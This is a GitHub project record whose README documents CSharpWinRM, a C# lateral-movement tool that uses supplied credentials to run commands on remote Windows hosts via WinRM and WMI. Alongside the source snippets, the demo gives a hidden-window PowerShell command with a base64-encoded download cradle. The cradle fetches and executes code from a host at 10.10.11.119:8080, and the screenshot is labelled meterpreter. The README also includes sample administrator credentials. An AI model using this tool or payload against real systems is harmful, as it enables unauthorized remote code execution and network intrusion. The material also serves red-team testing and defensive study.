{"id":13839802,"url":"https://github.com/mez-0/CSharpWinRM","last_synced_at":"2025-07-11T06:31:38.745Z","repository":{"id":41111322,"uuid":"284142629","full_name":"mez-0/CSharpWinRM","owner":"mez-0","description":".NET 4.0 WinRM API Command Execution","archived":false,"fork":false,"pushed_at":"2020-09-11T14:59:09.000Z","size":479,"stargazers_count":161,"open_issues_count":0,"forks_count":21,"subscribers_count":3,"default_branch":"master","last_synced_at":"2024-08-05T17:24:14.704Z","etag":null,"topics":["command-execution","csharp","lateral-movement","winrm","wmi"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mez-0.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-07-31T22:41:13.000Z","updated_at":"2024-07-17T15:33:41.000Z","dependencies_parsed_at":"2022-09-09T21:21:33.293Z","dependency_job_id":null,"html_url":"https://github.com/mez-0/CSharpWinRM","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mez-0%2FCSharpWinRM","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mez-0%2FCSharpWinRM/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mez-0%2FCSharpWinRM/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mez-0%2FCSharpWinRM/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mez-0","download_url":"https://codeload.github.com/mez-0/CSharpWinRM/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225700109,"owners_count":17510438,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["command-execution","csharp","lateral-movement","winrm","wmi"],"created_at":"2024-08-04T17:00:35.614Z","updated_at":"2024-11-21T08:31:33.718Z","avatar_url":"https://github.com/mez-0.png","language":"C#","readme":"# CSharpWinRM\n\n`CsharpWinRM` is a .NET 4.0 implementation of WinRM using the [WinRM C++ API](https://docs.microsoft.com/en-us/windows/win32/winrm/winrm-c---api). This project takes in credentials and a command, then executes it on the remote host using `Win32_Process`.\n\n## Explanation\n\nAfter looking into how the `Win32_Process` method in WMI is used to execute remote commands, I threw this together:\n\n```csharp\npublic static void Main()\n{\n    String command = \"powershell.exe -nop -w hidden -e \u003csnip\u003e\";\n    String Target = \"10.10.11.115\";\n\n    ConnectionOptions options = new ConnectionOptions();\n    options.Username = \"water.tribe\\\\Administrator\";\n    options.Password = \"Password123!\";\n\n    String Scope = String.Format(\"\\\\\\\\{0}\\\\root\\\\cimv2\", Target);\n\n    Console.WriteLine(\"Scope:\" + Scope);\n\n    ManagementScope managementScope = new ManagementScope(Scope,options);\n\n    managementScope.Connect();\n    ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath(\"Win32_Process\"),new ObjectGetOptions());\n    object[] process = { command };\n    object result = managementClass.InvokeMethod(\"Create\", process);\n    Console.WriteLine(result);\n}\n```\n\nWhich is cool. So, I moved onto looking at how `WinRM` can be used in C#. Browsing through StackOverflow, people were typically [doing this with PowerShell Runspaces](https://stackoverflow.com/questions/27197402/running-a-command-on-a-remote-windows-using-winrm-in-c-sharp). Except for [one mad-lad](https://stackoverflow.com/a/4158374) who was using the WinAPI. I then rabbit-holed for an evening on this, which produces this project.\n\nThe DLL in use here is the [wsmauto.dll](https://dll.website/wsmauto-dll). Referencing this DLL allows access to a bunch of [WSMan methods](https://docs.microsoft.com/en-us/windows/win32/winrm/wsman). \n\nAll the heavy lifting is done by the [IWSManSession](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nn-wsmandisp-iwsmansession) interface, this gave access to two important methods:\n\n- [IWSManSession::Identify](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke)\n- [IWSManSession::Invoke](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke)\n\nThe `Identify()` method is used to determine if the remote host is going to allow access, its used like so:\n\n```csharp\nxmlIdentifyResponse.LoadXml(wsmanSession.Identify());\n```\n\nWhere `xmlIdentifyResponse` is just an `XmlDocument`. If its possible, an XML response is returned:\n\n```xml\n\u003cwsmid:IdentifyResponse xmlns:wsmid=\"http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd\" xml:lang=\"\"\u003e\n    \u003cwsmid:ProtocolVersion\u003ehttp://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\u003c/wsmid:ProtocolVersion\u003e\n    \u003cwsmid:ProductVendor\u003eMicrosoft Corporation\u003c/wsmid:ProductVendor\u003e\n    \u003cwsmid:ProductVersion\u003eOS: 6.3.9600 SP: 0.0 Stack: 3.0\u003c/wsmid:ProductVersion\u003e\n    \u003cwsmid:SecurityProfiles\u003e\n        \u003cwsmid:SecurityProfileName\u003ehttp://schemas.dmtf.org/wbem/wsman/1/wsman/secprofile/http/spnego-kerberos\u003c/wsmid:SecurityProfileName\u003e\n    \u003c/wsmid:SecurityProfiles\u003e\n\u003c/wsmid:IdentifyResponse\u003e\n```\n\nWith that, most of the mind-melting was done by trying to determine the `actionUri`, and the `resourceUri` as seen in the `IWSManSession::Invoke` [documentation](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke). Until starting this project, I did not know that WinRM uses WMI under-the-hood, so I was soon able to link up `WIn32_Process` to create the process as seen in the WMI example at the start.\n\nThe following PowerShell command sheds some light on the resourceUri:\n\n```powershell\nwinrm help uris\n```\n\nThis became:\n\n```csharp\nstring resourceURI = \"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process\";\n```\n\nFinally, the actual payload. Originally, I was building the XML in one big `String.Format`, this would not respect anything after a space. So I could only run `cmd.exe` or something. But, [thanks to this chap](https://social.microsoft.com/Forums/en-US/d6ec5087-33dc-4967-8183-f8524683a3ea/using-remote-powershellwinrm-within-caspnet), I was able to get around that with a `StringBuilder`:\n\n```csharp\nStringBuilder parameters = new StringBuilder();\nparameters.Append(\"\u003cp:Create_INPUT \");\nparameters.Append(\"xmlns:p=\\\"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process\\\"\u003e\");\nparameters.Append(\"\u003cp:CommandLine\u003e\" + Command + \"\u003c/p:CommandLine\u003e\");\nparameters.Append(\"\u003c/p:Create_INPUT\u003e\");\n```\n\nThis is all then put together, and invoked:\n\n```csharp\nString responseFromInvoke = wsmanSession.Invoke(\"Create\", resourceURI, parameters.ToString(), 0);\n```\n\n`Create` being the `Win32_Process` [method](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process).\n\n## Demo\n\nI'll preface this with:\n\n\u003e It works for me.\n\nExample command:\n\n```\n.\\CSharpWinRM.exe 10.10.11.115 water.tribe administrator Password123! \"powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABOAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAE4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABOAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAvADgAMgBkAHIAWgBoADcATAA1AEsAYQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAnACkAKQA7AA==\"\n```\n\nOn execution, if successful, it should look something like this:\n\n![meterpreter](./screenshots/meterpreter.PNG)\n\nIf the `ReturnValue` is 0, then all is well. It will also give the `ProcessId`:\n\n```\nPS C:\\Users\\Administrator\u003e Get-Process -Pid 1344\n\nHandles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName\n-------  ------    -----      ----- -----   ------     -- -----------\n    413      32    69676      71440   599     0.58   1344 powershell\n```\n\nThe error codes can be seen [here](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-return-codes).\n\n## Usage\n\n```\n[*] Usage: .\\CSharpWinRM.exe \u003cTarget\u003e [Domain] [Username] [Password] \u003cCommand\u003e\n[*] Example 1: .\\CSharpWinRM.exe 192.168.0.1 DomainName Administrator Password123! \"powershell.exe -e blah\"\n[*] Example 2: .\\CSharpWinRM.exe 192.168.0.1 \"powershell.exe -e blah\"\n```\n\nOnce built, merge with:\n\n```powershell\n.\\ILMerge.exe /out:.\\CSharpWinRM_merged.exe .\\CSharpWinRM.exe .\\Interop.WSManAutomation.dll\n```\n\nIf, for whatever reason, the dll isnt available; its in:\n\n```\nCSharpWinRM/CSharpWinRM/lib/WsmAuto.dll\n```\n\n## References\n\n1. [C# WSManSession Examples](https://csharp.hotexamples.com/examples/-/IWSManSession/-/php-iwsmansession-class-examples.html)\n2. [IWSManSession](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nn-wsmandisp-iwsmansession)\n3. [IWSManSession::Identify](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-identify)\n4. [Windows Remote Management and WMI](https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-and-wmi)\n5. [Using Remote Powershell/WinRM within C#/ASP.NET RRS feed](https://social.microsoft.com/Forums/en-US/d6ec5087-33dc-4967-8183-f8524683a3ea/using-remote-powershellwinrm-within-caspnet)","funding_links":[],"categories":["C# #","C# (212)","Operating Systems"],"sub_categories":["Windows"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmez-0%2FCSharpWinRM","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmez-0%2FCSharpWinRM","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmez-0%2FCSharpWinRM/lists"}